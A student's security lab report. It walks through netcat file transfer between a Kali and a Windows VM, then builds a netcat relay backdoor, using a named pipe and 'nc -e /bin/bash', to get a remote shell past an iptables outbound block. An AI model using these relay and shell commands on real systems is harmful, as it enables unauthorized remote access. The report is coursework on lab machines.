Lab report 2

Student id: 700734097

Name : Balaramkrishna Ravi

1. Open the directory **/usr/share/windows-binaries** in kali Linux by using the below command

**nano whoami.exe | nc -l 9493**

Text

Description automatically generated

1. open windows 10, in the command prompt open Tools and give the below command **C:\Tools**

Try typing the command **nc.exe 192.168.209.128 9493 > whoami.exe,** here192.168.111.128 is the Kali Linux VM IP.

**Text

Description automatically generated with medium confidence**

Graphical user interface, application

Description automatically generated

1. **nc.exe** is the netcat and we need to give Kali Linux IP address (**192.168.209.128**) and **9493** is the port number **whoami.exe** is the filename. Now the file is transferred successfully.

**TASK 2**

First we will try connecting SSH from kali through ubuntu VM(192.168.209.130) using the command **ssh -oHostKeyAlgorithms=+ssh-dss** [**georgia@192.168.209.130**](mailto:georgia@192.168.209.130)

Text

Description automatically generated

Stop the outbound TCP connections to kali using the below command

**sudo iptables -A OUTPUT -p tcp --syn -j DROP**

Now we will connect SSH from kali to ubuntu, this connection will not be established.

On the attacker side VM try to listen on port 2222 by executing the below command to access from the backdoor

**nc -lvp 2222**

To check the backdoor connection run these

whoami

hostname

Now open two terminals one will be with root user and the other will have a non-root user.

In the non-root terminal create netcat relay as

**mknod /tmp/backpipe p**

**nc -nv 192.168.209.128 2222 0</tmp/backpipe | nc -nv 127.0.0.1 3333 1>/tmp/backpipe**

On the other terminal create a backdoor to listen on 3333.

**nc -lvp 3333 -e /bin/bash**

Below are the pictures for client-client netcat relay.

1)

Graphical user interface, text

Description automatically generated

2)

Text, letter

Description automatically generated with medium confidence

3)

A picture containing text

Description automatically generated